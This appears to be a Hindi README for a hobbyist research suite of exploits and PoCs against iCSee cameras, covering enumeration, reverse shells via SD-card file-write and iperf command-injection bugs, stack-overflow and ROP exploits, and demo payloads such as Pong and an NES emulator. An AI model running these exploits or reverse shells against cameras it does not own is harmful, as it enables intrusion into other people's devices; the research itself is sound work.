
यह iCSee एप्लिकेशन का उपयोग करने वाले कैमरों के लिए टूल्स/PoCs/एक्सप्लॉइट्स का एक सूट है। और हाँ - यह NES गेम्स चला सकता है!
यह iCSee वीडियो-कॉल कैमरों (और शायद गैर-वीडियो-कॉल कैमरों) में LAN के माध्यम से उपयोग किए जा सकने वाले टूल/PoC/एक्सप्लॉइट का एक सूट है। इसका उपयोग आसानी से SD कार्ड अपडेट विधि के विकल्प के रूप में वैकल्पिक फर्मवेयर फ्लैश करने के लिए किया जा सकता है।
नोट: कोई भी मेमोरी करप्शन एक्सप्लॉइट तभी काम करेगा जब आपके कैमरे का फर्मवेयर संस्करण V5.00.R02.000949U5.10000.141324.0000010 या V5.00.R02.000807E5.10000.346724.0000010 हो – ये एक्सप्लॉइट फिक्स्ड ऑफसेट पर निर्भर करते हैं, जो फर्मवेयर बनने पर हर बार बदलते हैं।
[0] एनुमरेशन, टियरडाउन और फर्मवेयर निष्कर्षण
[2] बेकार इंटीजर ओवरफ्लो + कुछ उपयोगी बग ढूँढना
[3] स्टैक ओवरफ्लो द्वारा मृत्यु + कैनरी फन
[6] पुष्टि + दूसरे कैमरे पर पूर्ण मेमोरी करप्शन एक्सप्लॉइट
[7] कैमरे पर NES गेम्स का अनुकरण
pycryptodome : RSA लॉगिन क्रिप्ट के लिएpwntools : शेलकोड के लिएpyftpdlib : FTP सर्वर के लिएpynput : NES कीबोर्ड इनपुट के लिएget_system_infoयह पोर्ट 34567 के माध्यम से कैमरे के बारे में जानकारी प्राप्त करने के लिए get_system_info विधि का उपयोग करता है।
python3 icseeu.py get_system_info
{
"Name": "SystemInfo",
"Ret": 100,
"SessionID": "0x0001869f",
"SystemInfo": {
"AlarmInChannel": 0,
"AlarmOutChannel": 0,
"AudioInChannel": 1,
"BuildTime": "2024-06-27 10:33:41",
"CombineSwitch": 0,
"DeviceModel": "IPC_GK7201V300_G2-WR-V_S38",
"DeviceRunTime": "0x000026c6",
"DeviceType": 7,
"DigChannel": 0,
"EncryptVersion": "Unknown",
"ExtraChannel": 0,
"HardWare": "IPC_GK7201V300_G2-WR-V_S38",
"HardWareVersion": "Unknown",
"Pid": "A909409U5000000N",
"SerialNo": "bf7816d59506ec06",
"SoftWareVersion": "V5.00.R02.000949U5.10000.141324.0000010",
"TalkInChannel": 1,
"TalkOutChannel": 1,
"UpdataTime": "",
"UpdataType": "0x00000000",
"VideoInChannel": 1,
"VideoOutChannel": 1
}
}
ftp_get_logsडिवाइस से लॉग खींचने के लिए कुछ बचे हुए टेक्स्ट कार्यक्षमता का उपयोग करता है (लॉग FTPTestDir/Test में समाप्त होते हैं)।
python3 icseeu.py ftp_get_logs
gdb_revshellSD कार्ड फ़ाइल लिखने की कमजोरी और iperf बाइनरी निष्पादन कमजोरी का शोषण करता है, जो SD कार्ड पर मौजूद बाइनरी के दूरस्थ निष्पादन की अनुमति देता है, ताकि एक रिवर्स शेल प्राप्त किया जा सके और एक GDB डीबगर शुरू किया जा सके जो मुख्य App प्रक्रिया से जुड़ता है।
टर्मिनल 1:
nc -l 1234
टर्मिनल 2:
python3 icseeu.py gdb_revshell
टर्मिनल 3:
gdb-multiarch
gef-remote 192.168.188.2 8888
नोट: प्रोग्राम को 30 सेकंड से अधिक न रोकें अन्यथा वॉचडॉग शिकायत करेगा और App प्रक्रिया पुनः आरंभ हो जाएगी!
नोट 2: आपको पेलोड (GDB_Revshell/remote_mgmt.c) में हार्डकोडेड IP पतों को LAN पर अपनी मशीन के IP में संशोधित करने और पेलोड को पुनः बनाने की आवश्यकता हो सकती है।
gdb_revshell_injectSD कार्ड फ़ाइल लिखने की कमजोरी और iperf कमांड इंजेक्शन कमजोरी का शोषण करता है, जो SD कार्ड पर मौजूद बाइनरी के दूरस्थ निष्पादन की अनुमति देता है, ताकि एक रिवर्स शेल प्राप्त किया जा सके और एक GDB डीबगर शुरू किया जा सके जो मुख्य App प्रक्रिया से जुड़ता है।
यह उन डिवाइसों के लिए उपयोगी है जिनमें पहले से ही iperf बाइनरी मौजूद है, जो दूसरी विधि को रोकता है।
टर्मिनल 1:
nc -l 1234
टर्मिनल 2:
python3 icseeu.py gdb_revshell_inject
टर्मिनल 3:
gdb-multiarch
gef-remote 192.168.188.2 8888
नोट: प्रोग्राम को 30 सेकंड से अधिक न रोकें अन्यथा वॉचडॉग शिकायत करेगा और App प्रक्रिया पुनः आरंभ हो जाएगी!
नोट 2: आपको पेलोड (GDB_Revshell/remote_mgmt.c) में हार्डकोडेड IP पतों को LAN पर अपनी मशीन के IP में संशोधित करने और पेलोड को पुनः बनाने की आवश्यकता हो सकती है।
iperf_inject_exploitएक रिवर्स शेल स्थापित करने के लिए iperf कमांड इंजेक्शन का शोषण करता है।
टर्मिनल 1:
nc -l 1234
टर्मिनल 2:
python3 icseeu.py iperf_inject_exploit
नोट: आपको पेलोड (Revshell_Inject/remote_mgmt.c) में हार्डकोडेड IP पतों को LAN पर अपनी मशीन के IP में संशोधित करने और पेलोड को पुनः बनाने की आवश्यकता हो सकती है।
ये संदेश प्रकार 0x7d8 के हैंडलर में दूसरे स्टैक ओवरफ्लो के लिए एक्सप्लॉइट हैं। यह ओवरफ्लो दिलचस्प है क्योंकि यह हमें स्टैक कैनरी को बायपास करने और निष्पादन प्राप्त करने की अनुमति देता है।
इनके काम करने से पहले आपको डिस्पैचर पेलोड बनाना होगा (PayloadDispatcher निर्देशिका में make चलाएँ), और संबंधित निर्देशिकाओं (जैसे ImageDisplay) में make चलाकर कैमरे पर चलाने के लिए पेलोड बनाना होगा।
नोट:
screenflashस्क्रीन फ्लैश करके कोड निष्पादन प्रदर्शित करता है।
python3 icseeu.py exploit_goke screenflash
rgbRGB रंगों को फ्लैश करके स्क्रीन पर नियंत्रण प्रदर्शित करता है।
python3 icseeu.py exploit_goke rgb
imagedisplayएक कच्ची RGB 5:6:5 छवि अपलोड करने के लिए फ़ाइल लिखने का उपयोग करता है, इसके काम करने के लिए निर्देशिका में एक छवि पर ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565 -f rawvideo image.raw चलाएँ ताकि ImageDisplay निर्देशिका में image.raw फ़ाइल प्राप्त हो। छवि स्क्रीन पर प्रदर्शित होगी।
python3 icseeu.py exploit_goke imagedisplay
buttontestप्रदर्शित करता है कि हम बटनों की स्थिति पढ़ सकते हैं, जब बटनों में से एक को दबाया गया पाया जाता है तो एक रंग फ्लैश करता है।
python3 icseeu.py exploit_goke buttontest
pongपोंग गेम का एक न्यूनतम कार्यान्वयन जो प्रदर्शित करता है कि हमारे पास स्क्रीन और सामने के बटनों का नियंत्रण है, साथ ही थोड़ा अधिक जटिल पेलोड भी प्रदर्शित करता है।
python3 icseeu.py exploit_goke pong
nesएक पोर्टेड NES एमुलेटर जो GOKE_Payloads/nes निर्देशिका में रखे rom.nes को चला सकता है, बाइनरी उत्पन्न करने के लिए GOKE_Payloads/nes/smolnes और GOKE_Payload/nes में make चलाएँ।
python3 icseeu.py exploit_goke nes
यह बिना स्टैक कैनरी वाले लेकिन NX वाले दूसरे कैमरे पर स्टैक ओवरफ्लो का एक एक्सप्लॉइट है। मैंने स्टैक को पिवट करने और एक बड़ी ROP-चेन का निष्पादन प्राप्त करने के लिए एक ROP-चेन लिखी, यह ROP-चेन निष्पादन योग्य मेमोरी मैप करती है, एक फ़ाइल की सामग्री को मेमोरी में लोड करती है, एक थ्रेड बनाती है जो इसे निष्पादित करता है, फिर स्टैक स्थिति को ठीक करती है और निष्पादन जारी रखती है।
इनके काम करने से पहले आपको पेलोड बनाना होगा, संबंधित निर्देशिकाओं (जैसे ImageDisplay) में make चलाएँ।